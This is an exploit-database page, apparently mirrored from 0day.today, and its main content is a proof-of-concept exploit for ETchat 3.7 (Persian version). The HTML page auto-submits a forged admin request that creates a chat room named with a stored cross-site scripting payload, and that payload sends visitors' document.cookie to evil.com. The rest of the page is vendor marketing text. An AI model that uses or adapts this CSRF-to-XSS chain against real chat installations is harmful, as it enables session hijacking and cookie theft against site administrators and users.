Lucene search
K

ETchat 3.7 - Cross-Site Request Forgery Vulnerability

🗓️ 04 Nov 2016 00:00:00Reported by Hesam BazvandType 
zdt
 zdt
🔗 0day.today👁 23 Views

ETchat 3.7 Persian CMS Xsrf Vulnerabilit

Code
# Exploit Title: ETchat(persian version) CMS Xsrf vulnerability
# Exploit Author: Hesam Bazvand
# Contact: https://www.facebook.com/hesam.king73
# Software Link: http://dl.20script.ir/script/chat/et-chat-3.7-Persian(www.20script.ir).zip
# Tested on: Windows 7 / Kali Linux
# Category: WebApps
# Dork : User Your Mind ! :D
# Email : [email protected]
#special thanks to my best friend Aryan Bayani Nejad
 
<html>
<body onload="document.frm1.submit()" >
 
<script>
var f = document.createElement("form");
f.setAttribute('method',"post");
f.setAttribute('name',"frm1");
f.setAttribute('action',"http://localhost/etchat/?AdminCreateNewRoom");
 
var i = document.createElement("input"); //input element, text
i.setAttribute('type',"text");
i.setAttribute('name',"room");
i.setAttribute('value',"<ScRiPt \>window.location.replace(\"http://evil.com\" + encodeURIComponent(document.cookie))\</ScRiPt\>");
 
 
 
f.appendChild(i);
 
 
//and some more input elements here
//and dont forget to add a submit button
 
document.getElementsByTagName('body')[0].appendChild(f);
 
</script>
 
 
 
 
</body>
</html>

#  0day.today [2018-02-17]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Nov 2016 00:00Current
7.1High risk
Vulners AI Score7.1
23